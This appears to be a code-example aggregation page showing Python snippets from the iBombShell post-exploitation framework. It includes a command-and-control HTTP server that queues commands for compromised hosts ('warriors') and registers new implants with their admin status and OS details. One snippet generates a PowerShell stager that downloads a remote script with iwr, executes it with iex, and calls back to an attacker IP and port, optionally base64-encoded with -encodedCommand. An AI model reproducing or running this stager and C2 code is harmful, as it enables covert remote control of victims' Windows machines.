Ejemplo n.º 1
0
    def do_GET(self):
        warrior_path = Config.get_instance().get_warrior_path() + "ibs-"
        regex = re.findall(r'^(.+)/([^/]+)$', self.path)
        route = ''
        try:
            route = regex[0][0].strip('/')
            route_id = regex[0][1]
        except Exception:
            print_error('Error creating warrior...')

        a = ''
        if route == "ibombshell":
            try:
                with open('{}{}'.format(warrior_path, route_id), 'r') as f:
                    a = f.read()

                if a is not '':
                    print("")
                    print_ok('Warrior {} get iBombShell commands...'.format(
                        route_id))
                    with open('{}{}'.format(warrior_path, route_id), 'w') as f:
                        f.write('')
                else:
                    Warrior.get_instance().review_status(route_id)
            except Exception:
                print_error('Warrior {} don\'t found'.format(route_id),
                            start="\n")

        self._set_response()
        #self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
        self.wfile.write(a.encode('utf-8'))
Ejemplo n.º 2
0
 def run(self, function):
     if not Warrior.get_instance().exist_warrior(self.args["warrior"]):
         raise Exception('Failed... Warrior don´t found')
     with open('{}ibs-{}'.format(self.warrior_path, self.args["warrior"]),
               'a') as f:
         # TODO: Reemplazar la escritura por añadido (append)
         f.write(function)
         print_ok('Done!')
Ejemplo n.º 3
0
 def instantiate_module(self, path):
     try:
         print_ok('Loading module...')
         m = importlib.import_module(path)
         print_ok('Module loaded!')
         return m.CustomModule()
     except ImportError as error:
         m = 'Error importing the module: ' + str(error)
         print_error(m)
         return None
Ejemplo n.º 4
0
    def run(self):
        if not(self._module.check_arguments()):
            raise Exception('REQUIRED ARGUMENTS NOT SET...exiting')

        print_ok('Running module...')
        try:
            self._module.run_module()
        except KeyboardInterrupt:
            print_error('Exiting the module...' )
        except Exception as error:
            m = 'Error running the module: ' + str(error)
            print_error(m)
            print_ok('Module exited')
Ejemplo n.º 5
0
    def run(self, code, extension):
        output = self.args["output"]
        code_to_encode = """(iwr -UseBasicParsing -uri 'https://raw.githubusercontent.com/Telefonica/ibombshell/Dev/console').Content | iex; console -Silently -uriConsole http://{}:{}""".format(
            self.args['ip'], self.args['port'])
        if self.args["base64"] and (self.args["base64"].lower() == "yes"):
            code_encode = b64encode(code_to_encode.encode('UTF-16LE'))
            code_encode = code_encode.decode()
            code = code.format("-encodedCommand ", code_encode)
        else:
            code_to_encode = '"' + code_to_encode + '"'
            code = code.format('-C ', code_to_encode)

        if output:
            if (not output.endswith(extension)):
                output = output + "." + extension
            with open(output, 'w') as f:
                f.write(code)
        else:
            print_info(str(code))
        print_ok("Done")
Ejemplo n.º 6
0
    def kill_warriors(self):
        exist = False
        for warrior in self.warriors:
            self.__kill(warrior)
            exist = True

        if exist:
            print_ok('Killing warriors...')
            sleep(5)
            self.warriors = []

        print_ok('Done...')
        print_ok('Exit...')
        _exit(-1)
Ejemplo n.º 7
0
    def do_POST(self):
        warrior_path = Config.get_instance().get_warrior_path() + "ibs-"
        ip_src = self.client_address[0]

        regex = re.findall(r'^(.+)/([^/]+)$', self.path)
        route = ''
        route_id = ''
        try:
            route = regex[0][0].strip('/')
            route_id = regex[0][1]
        except Exception:
            print_error('Error creating warrior...')

        content_length = int(
            self.headers['Content-Length'])  # <--- Gets the size of data
        post_data = self.rfile.read(
            content_length)  # <--- Gets the data itself

        self._set_response()
        self.wfile.write(''.encode('utf-8'))

        try:
            post_data = post_data.decode()
            fields = parse_qs(post_data)

            if not fields:
                return
            results = ""
            results = fields['results'][0]

            try:
                url = str(unquote(results))
                if route == "newibombshell" and route_id != '':

                    if Warrior.get_instance().exist_warrior(route_id):
                        print_error('Warrior already exists!')
                        return

                    with open('{}{}'.format(warrior_path, route_id), 'w') as f:
                        f.write('')
                    print("")
                    print_ok("New warrior {} from {}".format(route_id, ip_src))
                    data = json.loads(url)
                    is_admin = data['admin'] != 'no'
                    os_version = data['os_version'].strip('\r\n')
                    os_arch = data['os_arch'].strip('\r\n')
                    Warrior.get_instance().add_warrior(route_id,
                                                       self.client_address[0],
                                                       is_admin, os_version,
                                                       os_arch)
                    Warrior.get_instance().print_warrior(route_id)

                else:
                    for result in url.split("\\n"):
                        print_info(result)
            except Exception:
                if results is not '':
                    print_info(results)
                else:
                    print_error('Error reading results!')
        except Exception as e:
            print_error('Error parsing the result!')
            print_error(e)

        enter_input()